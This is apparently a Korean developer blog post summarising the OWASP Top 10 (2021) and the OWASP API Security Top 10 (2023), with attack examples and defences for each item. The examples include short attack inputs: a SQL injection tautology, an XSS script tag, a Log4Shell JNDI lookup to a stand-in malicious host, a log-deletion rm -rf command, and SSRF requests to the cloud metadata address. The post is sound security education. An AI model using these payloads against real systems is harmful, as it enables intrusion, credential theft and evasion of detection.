백엔드 개발자
OWASP, API Security Top 10 본문
OWASP(Open Web Application Security Project)는 웹 애플리케이션 보안 강화를 목적으로 하는 비영리 단체로,
OWASP Top 10은 가장 흔하고 위험한 보안 취약점을 정리하여 발표한다.
3,4년 주기로 발표하는데 이를 숙지하면 보안 사고를 예방하고, 애플리케이션의 보안성을 강화하는 데 도움이 될 수 있다.
21년에 발표된 OWASP Top 10을 간단히 살펴보자.
A01:2021 – Broken Access Control (취약한 접근 제어)
설명:
권한이 없는 사용자가 다른 사용자의 데이터나 기능에 접근할 수 있는 취약점.
공격 예시:
- URL 조작 (Forced Browsing)
- 사용자가 /user/profile에서 자신의 정보를 확인하는 API가 있다고 가정.
- 서버에서 사용자 ID를 세션 기반으로 검증하지 않고, 클라이언트가 제공하는 userId 파라미터를 그대로 사용한다면 공격자가 다음과 같이 직접 접근 가능:
- GET /user/profile?userId=123 (정상적인 요청) GET /user/profile?userId=456 (타인의 정보 접근 가능)
- 관리자 권한 우회
- 관리자 패널이 /admin에 위치해 있지만, 인증 없이 접근할 수 있는 경우:→ 일반 사용자도 관리자 패널에 접근 가능.
- GET /admin
방어 방법:
✅ 서버 측에서 세션 기반 사용자 검증 수행
✅ RBAC(Role-Based Access Control) 적용
✅ 최소 권한 원칙 적용하여 불필요한 권한 제거
A02:2021 – Cryptographic Failures (암호학적 실패)
설명:
데이터를 암호화 없이 저장하거나, 취약한 암호화 알고리즘을 사용하여 보호하지 못하는 취약점.
공격 예시:
- 평문 데이터 저장
- 비밀번호를 평문(Plaintext)으로 데이터베이스에 저장:→ 해커가 DB를 탈취하면 모든 계정이 노출됨.
- INSERT INTO users (username, password) VALUES ('user1', 'password123');
- 취약한 해시 알고리즘 사용 (MD5, SHA-1)
- 공격자는 레인보우 테이블(Rainbow Table)을 이용하여 해시 값을 역추적할 수 있음:→ MD5 해시값 482c811da5d5b4bc6d497ffa98491e38은 쉽게 역추적됨.
- MD5는 매우 빠른 해싱 속도 때문에 무차별 대입 공격에 취약. SHA-1도 빠름.
- INSERT INTO users (username, password) VALUES ('user1', MD5('password123'));
- 공격자는 레인보우 테이블(Rainbow Table)을 이용하여 해시 값을 역추적할 수 있음:→ MD5 해시값 482c811da5d5b4bc6d497ffa98491e38은 쉽게 역추적됨.
방어 방법:
✅ 강력한 해싱 알고리즘 사용 (Bcrypt, Argon2)
✅ HTTPS 강제 사용 및 TLS 1.2 이상 적용
✅ 보안 키 관리 시스템(KMS) 활용
A03:2021 – Injection (인젝션)
설명:
사용자 입력을 제대로 검증하지 않고 실행할 경우, 공격자가 시스템을 조작할 수 있는 취약점.
공격 예시:
- SQL Injection
- 로그인 API에서 사용자 입력을 직접 SQL 쿼리에 삽입할 경우:→ 인증을 우회하여 로그인 성공.
- SELECT * FROM users WHERE username = 'admin' AND password = ' ' OR '1'='1';
- XSS (Cross-Site Scripting)
- 댓글 입력 필드에서 JavaScript 실행 코드 삽입:→ 페이지를 방문하는 사용자의 브라우저에서 악성 스크립트가 실행됨.
- <script>alert('해킹됨!');</script>
방어 방법:
✅ Prepared Statement 사용하여 SQL Injection 방어
✅ 입력값 검증 및 특수문자 필터링 적용
✅ Content Security Policy (CSP) 설정하여 XSS 방어
A04:2021 – Insecure Design (불안전한 설계)
설명:
보안을 고려하지 않은 시스템 설계로 인해 발생하는 구조적 취약점.
공격 예시:
- 비밀번호 복구 기능의 허점
- 이메일을 입력하면 비밀번호 재설정 링크를 보내지만, 공격자가 다른 사람의 이메일을 입력하여 강제 초기화 가능:→ 공격자가 피해자의 계정을 가로챌 수 있음.
- POST /password-reset { "email": "victim@example.com" }
- 민감한 데이터 노출
- JWT 토큰이 Base64로 인코딩되어 있어 공격자가 쉽게 디코딩 가능:→ Base64 디코딩하면 사용자의 정보가 그대로 노출됨.
- eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
방어 방법:
✅ 보안 설계 리뷰(Security Design Review) 수행
✅ Zero Trust 모델 적용하여 최소 권한 원칙 준수
✅ 민감한 데이터는 반드시 암호화 적용
A05:2021 – Security Misconfiguration (보안 설정 오류)
설명:
기본 계정 사용, 불필요한 기능 활성화, 잘못된 설정으로 인해 발생하는 취약점.
공격 예시:
- 디버그 모드 활성화
- 애플리케이션이 디버그 모드로 실행되면 공격자가 내부 정보를 확인 가능:→ 공격자는 API 응답을 통해 데이터베이스 연결 정보, 환경 변수 등을 확인할 수 있음.
- DEBUG=True
- 기본 계정 유지
- 공격자가 서비스의 기본 관리자 계정이 활성화되어 있는지 확인:→ 기본 계정이 활성화되어 있으면 즉시 로그인 가능.
- admin:admin root:root
방어 방법:
✅ 프로덕션 환경에서 디버그 모드 비활성화
✅ 기본 계정 사용 금지 및 강력한 비밀번호 정책 적용
✅ 불필요한 포트 및 서비스 비활성화
A06:2021 – Vulnerable and Outdated Components (취약하거나 오래된 컴포넌트 사용)
설명:
보안 패치가 적용되지 않은 라이브러리나 프레임워크를 사용하여 공격에 노출되는 취약점.
공격 예시:
- 알려진 취약점 악용
- Log4Shell (CVE-2021-44228)과 같은 보안 취약점이 있는 라이브러리를 사용하면 공격자가 원격 코드 실행을 수행할 수 있음.
- 공격자는 취약한 버전의 Log4j를 사용하는 애플리케이션에 조작된 로그 메시지를 삽입하여 임의의 코드를 실행함.
- ${jndi:ldap://malicious-server.com/exploit}
- 오래된 라이브러리 사용
- 사용 중인 라이브러리나 프레임워크가 최신 패치를 적용하지 않아 이미 공개된 취약점에 노출됨.
- 예: 오래된 OpenSSL 버전 사용으로 인해 Heartbleed(CVE-2014-0160) 공격 가능.
방어 방법:
✅ 최신 보안 업데이트 적용 및 자동화된 패치 관리 수행
✅ SBOM(Software Bill of Materials) 활용하여 사용 중인 라이브러리 파악
✅ 자동화된 취약점 검사 도구(Snyk, Dependabot) 사용
A07:2021 – Identification and Authentication Failures (인증 및 식별 실패)
설명:
인증 절차가 취약하거나 우회될 가능성이 있는 경우 발생하는 취약점.
공격 예시:
- 크리덴셜 스터핑(Credential Stuffing)
- 유출된 사용자 계정 정보(이메일 및 패스워드)를 이용하여 자동화된 공격을 수행.
- 공격자가 다크웹에서 유출된 패스워드 목록을 이용하여 로그인 시도.
- 토큰 탈취
- 공격자가 취약한 쿠키 설정(HttpOnly 및 Secure 미적용)으로 인해 사용자의 JWT 또는 세션 토큰을 탈취.
- document.cookie를 이용하여 인증 정보를 훔침:
- console.log(document.cookie);
방어 방법:
✅ 다중 인증(MFA) 적용
✅ 강력한 비밀번호 정책 시행 및 비밀번호 관리 도구 활용
✅ 로그인 시도 제한 및 CAPTCHA 적용
A08:2021 – Software and Data Integrity Failures (소프트웨어 및 데이터 무결성 실패)
설명:
신뢰할 수 없는 소스에서 가져온 코드 실행, 중요 데이터 변조 가능성 등의 취약점.
공격 예시:
- 공급망 공격(Supply Chain Attack)
- 공격자가 오픈소스 라이브러리에 악성 코드를 삽입하여 배포.
- 예: NPM 패키지 이벤트 스트림(Event-Stream)에 백도어가 포함됨.
- CI/CD 파이프라인 공격
- 악의적인 코드가 빌드 과정에서 삽입될 경우, 프로덕션 환경에 배포됨.
- 서명되지 않은 코드 실행으로 인해 무결성이 손상됨.
방어 방법:
✅ 코드 서명 및 검증된 소프트웨어 사용
✅ CI/CD 환경에서 보안 검증 강화(SAST, DAST 적용)
✅ 무결성 검증 기능 적용 (예: 체크섬, 해시 검증)
A09:2021 – Security Logging and Monitoring Failures (보안 로깅 및 모니터링 실패)
설명:
보안 로그가 부족하거나 실시간 감지가 불가능하여 공격을 탐지하지 못하는 문제.
공격 예시:
- 공격 흔적 삭제
- 공격자가 관리자 로그 파일을 삭제하여 침입 흔적을 없앰.
- 예: rm -rf /var/logs/auth.log
- 이벤트 로깅 부족
- 로그인 실패 및 권한 변경과 같은 중요 이벤트가 로깅되지 않아 침입 탐지가 불가능함.
방어 방법:
✅ 주요 이벤트(로그인 실패, 권한 변경 등) 로깅 수행
✅ 실시간 모니터링 도입 및 SIEM(Security Information and Event Management) 활용
✅ 보안 경고 시스템 구축
A10:2021 – Server-Side Request Forgery (SSRF, 서버 측 요청 위조)
설명:
공격자가 서버를 통해 내부 네트워크로 요청을 보낼 수 있는 취약점.
공격 예시:
- 클라우드 메타데이터 접근
- AWS, GCP 등의 클라우드 서비스에서는 내부 메타데이터 서버가 존재함:→ 이 요청을 실행하면 클라우드 인스턴스의 인증 키가 노출됨.
- GET http://169.254.169.254/latest/meta-data/
- 내부 서비스 스캔
- SSRF를 이용해 내부 네트워크의 서비스 검색:→ Redis 서버가 실행 중이라면 공격자가 조작 가능.
- GET http://localhost:6379/
방어 방법:
✅ 외부 요청을 허용할 도메인 목록(Allowlist) 관리
✅ 요청 검증 및 필터링 적용
✅ 클라우드 메타데이터 접근 제한
또한, API 보안에 특화된 OWASP API security top 10도 2023년에 발표되었다.
API1:2023 – Broken Object Level Authorization (객체 수준의 권한 부여 실패)
설명:
API에서 개별 객체에 대한 권한 검증이 부족하면, 공격자가 다른 사용자의 데이터를 열람하거나 수정할 수 있음.
공격 예시:
- ID 변조를 통한 데이터 접근
- 공격자가 자신의 사용자 ID를 변조하여 다른 사용자의 데이터를 조회:
- GET /api/user/456
- 권한 없는 데이터 수정
- 공격자가 요청 본문을 조작하여 다른 사용자의 데이터를 변경:
- PUT /api/user/123 {"role": "admin"}
방어 방법:
✅ 서버 측에서 모든 요청에 대해 권한 검사를 수행
✅ 민감한 데이터를 요청할 때 사용자 인증을 강제
✅ 접근 제어 정책(Role-Based Access Control, RBAC) 적용
API2:2023 – Broken Authentication (인증 실패)
설명:
API 인증이 제대로 구현되지 않으면 공격자가 다른 사용자의 계정을 탈취할 위험이 높아짐.
공격 예시:
- 무차별 대입 공격 (Brute Force)
- 약한 패스워드를 반복적으로 시도하여 로그인 성공:
- POST /api/login {"username": "admin", "password": "1234"}
- 세션 탈취
- 공격자가 액세스 토큰을 탈취하여 인증을 우회.
방어 방법:
✅ 강력한 인증 정책 (OAuth, JWT + Refresh Token) 적용
✅ 계정 잠금 및 비밀번호 시도 횟수 제한
✅ 다중 인증(MFA) 적용
API3:2023 – Broken Object Property Level Authorization (객체 속성 수준의 권한 부여 실패)
설명:
클라이언트가 서버에서 반환된 데이터 중 노출되지 말아야 할 정보를 볼 수 있거나 조작할 수 있는 취약점.
공격 예시:
- 응답에서 불필요한 데이터 노출
- 서버가 불필요한 사용자 정보를 반환:
- { "username": "user1", "role": "admin" }
- 클라이언트 측에서 권한 상승 시도
- 사용자가 클라이언트에서 role 값을 변경하여 관리자 권한 획득.
방어 방법:
✅ 필요한 데이터만 응답하도록 API 설계
✅ 클라이언트가 권한을 변경할 수 없도록 서버 측 검증 강화
API4:2023 – Unrestricted Resource Consumption (무제한 리소스 소비)
설명:
API 요청이 과도하게 들어오면 서버의 리소스를 소진하여 서비스 거부(DoS) 공격이 가능해짐.
공격 예시:
- 무제한 이메일/SMS 전송
- API에서 인증 없이 이메일 전송 기능을 제공하는 경우:
- POST /api/send-email {"email": "victim@example.com", "message": "Spam"}
- 과도한 API 요청으로 인한 서버 부하
- API에 속도 제한이 없으면 자동화된 스크립트를 사용하여 대량의 요청을 보냄.
방어 방법:
✅ Rate Limiting 적용 (예: Nginx, Cloudflare WAF)
✅ API 요청당 시간 제한(Throttle) 및 사용량 기반 과금 모델 적용
✅ 캐싱 활용하여 반복적인 요청 최적화
API5:2023 – Broken Function Level Authorization (기능 수준의 권한 부여 실패)
설명:
일반 사용자와 관리자의 API 기능이 명확하게 구분되지 않아, 일반 사용자가 관리자 기능을 실행할 수 있는 취약점.
공격 예시:
- 관리자 API 엔드포인트 접근
- 일반 사용자가 관리자 API 엔드포인트를 직접 호출하여 계정을 삭제함:
- POST /api/admin/deleteUser?userId=123
- URL 매개변수 조작하여 기능 활성화
- 클라이언트에서 role 값을 변경하여 관리자 기능을 활성화:
- { "role": "admin" }
방어 방법:
✅ 모든 API 엔드포인트에 대해 역할 기반 접근 제어(RBAC) 적용
✅ 관리자 기능은 별도의 인증 및 승인 절차 거치도록 설정
API6:2023 – Unrestricted Access to Sensitive Business Flows (민감한 비즈니스 프로세스 무제한 접근)
설명:
중요한 API 기능이 자동화된 방식으로 대량 실행될 경우, 비즈니스 프로세스가 위협받을 수 있음.
공격 예시:
- 자동 구매 봇 운영
- 특정 상품을 자동으로 구매하는 API를 이용하여 재고를 독점:
- POST /api/purchase {"productId": "123", "quantity": 100}
- 대량의 금융 거래 실행
- API를 이용해 시장 조작을 위한 대량 거래 수행.
방어 방법:
✅ 중요한 API에 대해 속도 제한 및 인증 적용
✅ CAPTCHA 등 봇 탐지 시스템 적용
API7:2023 – Server Side Request Forgery (SSRF, 서버 측 요청 위조)
설명:
API 서버가 외부 URI를 요청할 때 입력 검증이 부족하여 내부 네트워크 접근이 가능함.
공격 예시:
- 클라우드 메타데이터 서버 접근
- AWS 메타데이터 접근:
- GET http://169.254.169.254/latest/meta-data/
- 내부 서비스 공격
- SSRF를 통해 내부 데이터베이스 및 네트워크에 접근.
방어 방법:
✅ 외부 요청을 제한(Allowlist 적용)
✅ 내부 네트워크 주소 필터링 적용
API8:2023 – Security Misconfiguration (보안 설정 오류)
설명:
기본 계정, 불필요한 기능 활성화, 디버그 모드 유지 등으로 인해 발생하는 취약점.
공격 예시:
- 기본 관리자 계정 유지
- admin/admin 같은 기본 계정이 활성화되어 있음.
- 디버그 모드 활성화로 내부 정보 노출
- 공격자가 애플리케이션의 내부 정보를 확인 가능.
방어 방법:
✅ 불필요한 기능 제거 및 보안 설정 점검
✅ 환경 변수에 민감한 데이터 저장
API9:2023 – Improper Inventory Management (잘못된 API 인벤토리 관리)
설명:
API가 여러 개 존재하지만, 적절한 버전 관리가 이루어지지 않아 오래된 API가 유지되는 취약점.
공격 예시:
- 오래된 API 버전에 대한 공격 시도
- v1/api에서 발견된 취약점을 v2/api에서도 재현 가능.
- 미사용 API 엔드포인트 악용
- 삭제되지 않은 API를 공격하여 침입.
방어 방법:
✅ API 버전 관리를 명확하게 수행
✅ 미사용 API 삭제 및 접근 차단
API10:2023 – Unsafe Consumption of APIs (안전하지 않은 API 소비)
설명:
개발자가 외부 API를 신뢰하고 별다른 검증 없이 사용하면서 발생하는 취약점.
공격 예시:
- 외부 API를 통한 악성 데이터 전달
- 공격자가 악성 입력을 API로 전달하여 실행되도록 유도.
- 서드 파티 API의 보안 취약점 이용
- 외부 API에서 발생한 취약점을 악용하여 공격 수행.
방어 방법:
✅ 외부 API 입력값 검증 적용
✅ API 응답에서 예상하지 못한 데이터 확인